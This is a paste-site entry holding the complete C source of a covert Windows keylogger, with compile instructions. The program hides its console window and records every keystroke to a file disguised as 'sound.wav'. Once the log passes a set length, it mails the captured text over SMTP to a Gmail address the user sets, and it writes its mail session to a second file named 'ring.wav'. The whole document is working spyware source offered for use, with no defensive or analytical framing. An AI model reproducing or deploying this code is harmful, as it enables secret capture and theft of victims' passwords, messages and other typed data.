· 9 years ago · Nov 27, 2016, 06:28 PM
1/*Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
2 Linker error] undefined reference to `WSAStartup@8'
3Add this:
4 -lws2_32
5to Tools->Compiler Options under the section on compile flags.
6*/
7#include <windows.h>
8#include <stdio.h>
9#include <winuser.h>
10#include <windowsx.h>
11#include <time.h>
12int MailIt (char *mailserver, char *emailto, char *emailfrom,
13char *emailsubject, char *emailmessage);
14#define BUFSIZE 800
15#define waittime 500
16/*If you don't know the mail exchange server for an address for the following
17"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
18whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
19IT WILL NOT WORK!!! */
20#define cmailserver "gmail-smtp-in.l.google.com"
21#define cemailto "seumail@gmail.com"
22#define cemailfrom "seumail@gmail.com"
23#define LogLength 10
24#define FileName "sound.wav"
25#define SMTPLog "ring.wav"
26#define cemailsubject "Logged"
27int get_keys(void);
28int test_key(void);
29int main(void)
30{
31 HWND stealth;
32 AllocConsole();
33 stealth=FindWindowA("ConsoleWindowClass",NULL);
34 ShowWindow(stealth,0);
35
36 {FILE *file;
37 file=fopen(FileName,"a+");
38 time_t theTime=time(0);
39 fputs("\nLog: ", file);
40 fputs(ctime(&theTime),file);
41 fclose(file);
42 }
43
44 int t=get_keys();
45 return t;
46}
47
48int get_keys(void)
49{
50int freadindex;
51char *buf;
52long len;
53FILE *file;
54file=fopen(FileName,"a+");
55
56
57 short character;
58 while(1)
59 {
60 Sleep(10);/*to prevent 100% cpu usage*/
61 for(character=8;character<=222;character++)
62 {
63 if(GetAsyncKeyState(character)==-32767)
64 {
65 FILE *file;
66 file=fopen(FileName,"a+");
67 if(file==NULL)
68 {
69 return 1;
70 }
71 if(file!=NULL)
72 {
73 if((character>=39)&&(character<=64))
74 {
75 fputc(character,file);
76 fclose(file);
77 break;
78 }
79 else if((character>64)&&(character<91))
80 {
81 character+=32;
82 fputc(character,file);
83 fclose(file);
84 break;
85 }
86 else
87 {
88 switch(character)
89 {
90 case VK_SPACE:
91 fputc(' ',file);
92 fclose(file);
93 break;
94 case VK_SHIFT:
95 fputs("\r\n[SHIFT]\r\n",file);
96 fclose(file);
97 break;
98 case VK_RETURN:
99 fputs("\r\n[ENTER]\r\n",file);
100 fclose(file);
101 break;
102 case VK_BACK:
103 fputs("\r\n[BACKSPACE]\r\n",file);
104 fclose(file);
105 break;
106 case VK_TAB:
107 fputs("\r\n[TAB]\r\n",file);
108 fclose(file);
109 break;
110 case VK_CONTROL:
111 fputs("\r\n[CTRL]\r\n",file);
112 fclose(file);
113 break;
114 case VK_DELETE:
115 fputs("\r\n[DEL]\r\n",file);
116 fclose(file);
117 break;
118 case VK_OEM_1:
119 fputs("\r\n[;:]\r\n",file);
120 fclose(file);
121 break;
122 case VK_OEM_2:
123 fputs("\r\n[/?]\r\n",file);
124 fclose(file);
125 break;
126 case VK_OEM_3:
127 fputs("\r\n[`~]\r\n",file);
128 fclose(file);
129 break;
130 case VK_OEM_4:
131 fputs("\r\n[ [{ ]\r\n",file);
132 fclose(file);
133 break;
134 case VK_OEM_5:
135 fputs("\r\n[\\|]\r\n",file);
136 fclose(file);
137 break;
138 case VK_OEM_6:
139 fputs("\r\n[ ]} ]\r\n",file);
140 fclose(file);
141 break;
142 case VK_OEM_7:
143 fputs("\r\n['\"]\r\n",file);
144 fclose(file);
145 break;
146 case 187:
147 fputc('+',file);
148 fclose(file);
149 break;
150 case 188:
151 fputc(',',file);
152 fclose(file);
153 break;
154 case 189:
155 fputc('-',file);
156 fclose(file);
157 break;
158 case 190:
159 fputc('.',file);
160 fclose(file);
161 break;
162 case VK_NUMPAD0:
163 fputc('0',file);
164 fclose(file);
165 break;
166 case VK_NUMPAD1:
167 fputc('1',file);
168 fclose(file);
169 break;
170 case VK_NUMPAD2:
171 fputc('2',file);
172 fclose(file);
173 break;
174 case VK_NUMPAD3:
175 fputc('3',file);
176 fclose(file);
177 break;
178 case VK_NUMPAD4:
179 fputc('4',file);
180 fclose(file);
181 break;
182 case VK_NUMPAD5:
183 fputc('5',file);
184 fclose(file);
185 break;
186 case VK_NUMPAD6:
187 fputc('6',file);
188 fclose(file);
189 break;
190 case VK_NUMPAD7:
191 fputc('7',file);
192 fclose(file);
193 break;
194 case VK_NUMPAD8:
195 fputc('8',file);
196 fclose(file);
197 break;
198 case VK_NUMPAD9:
199 fputc('9',file);
200 fclose(file);
201 break;
202 case VK_CAPITAL:
203 fputs("\r\n[CAPS LOCK]\r\n",file);
204 fclose(file);
205 break;
206 default:
207 fclose(file);
208 break;
209 }
210 }
211 }
212 }
213 }
214 FILE *file;
215 file=fopen(FileName,"rb");
216 fseek(file,0,SEEK_END); //go to end
217 len=ftell(file); //get position at end (length)
218 if(len>=LogLength) {
219 fseek(file,0,SEEK_SET);//go to beg.
220 buf=(char *)malloc(len);//malloc buffer
221 freadindex=fread(buf,1,len,file);//read into buffer
222 buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
223 MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
224 fclose(file);
225 file=fopen(FileName,"w");
226 }
227
228 fclose(file);
229 //free (buf);
230
231 }
232 return EXIT_SUCCESS;
233}
234
235int MailIt (char *mailserver, char *emailto, char *emailfrom,
236char *emailsubject, char *emailmessage) {
237 SOCKET sockfd;
238 WSADATA wsaData;
239 FILE *smtpfile;
240
241 #define bufsize 300
242 int bytes_sent; /* Sock FD */
243 int err;
244 struct hostent *host; /* info from gethostbyname */
245 struct sockaddr_in dest_addr; /* Host Address */
246 char line[1000];
247 char *Rec_Buf = (char*) malloc(bufsize+1);
248 smtpfile=fopen(SMTPLog,"a+");
249 if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
250 fputs("WSAStartup failed",smtpfile);
251 WSACleanup();
252 return -1;
253 }
254 if ( (host=gethostbyname(mailserver)) == NULL) {
255 perror("gethostbyname");
256 exit(1);
257 }
258 memset(&dest_addr,0,sizeof(dest_addr));
259 memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
260
261 /* Prepare dest_addr */
262 dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
263 dest_addr.sin_port= htons(25); /* PORT defined above */
264
265 /* Get socket */
266
267 if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
268 perror("socket");
269 exit(1);
270 }
271 /* Connect !*/
272 fputs("Connecting....\n",smtpfile);
273
274 if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
275 perror("connect");
276 exit(1);
277 }
278 Sleep(waittime);
279 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
280 fputs(Rec_Buf,smtpfile);
281 strcpy(line,"helo me.somepalace.com\n");
282 fputs(line,smtpfile);
283 bytes_sent=send(sockfd,line,strlen(line),0);
284 Sleep(waittime);
285 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
286 fputs(Rec_Buf,smtpfile);
287 strcpy(line,"MAIL FROM:<");
288 strncat(line,emailfrom,strlen(emailfrom));
289 strncat(line,">\n",3);
290 fputs(line,smtpfile);
291 bytes_sent=send(sockfd,line,strlen(line),0);
292 Sleep(waittime);
293 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
294 fputs(Rec_Buf,smtpfile);
295 strcpy(line,"RCPT TO:<");
296 strncat(line,emailto,strlen(emailto));
297 strncat(line,">\n",3);
298 fputs(line,smtpfile);
299 bytes_sent=send(sockfd,line,strlen(line),0);
300 Sleep(waittime);
301 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
302 fputs(Rec_Buf,smtpfile);
303 strcpy(line,"DATA\n");
304 fputs(line,smtpfile);
305 bytes_sent=send(sockfd,line,strlen(line),0);
306 Sleep(waittime);
307 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
308 fputs(Rec_Buf,smtpfile);
309 Sleep(waittime);
310 strcpy(line,"To:");
311 strcat(line,emailto);
312 strcat(line,"\n");
313 strcat(line,"From:");
314 strcat(line,emailfrom);
315 strcat(line,"\n");
316 strcat(line,"Subject:");
317 strcat(line,emailsubject);
318 strcat(line,"\n");
319 strcat(line,emailmessage);
320 strcat(line,"\r\n.\r\n");
321 fputs(line,smtpfile);
322 bytes_sent=send(sockfd,line,strlen(line),0);
323 Sleep(waittime);
324 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
325 fputs(Rec_Buf,smtpfile);
326 strcpy(line,"quit\n");
327 fputs(line,smtpfile);
328 bytes_sent=send(sockfd,line,strlen(line),0);
329 Sleep(waittime);
330 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
331 fputs(Rec_Buf,smtpfile);
332 fclose(smtpfile);
333 #ifdef WIN32
334 closesocket(sockfd);
335 WSACleanup();
336 #else
337 close(sockfd);
338 #endif
339}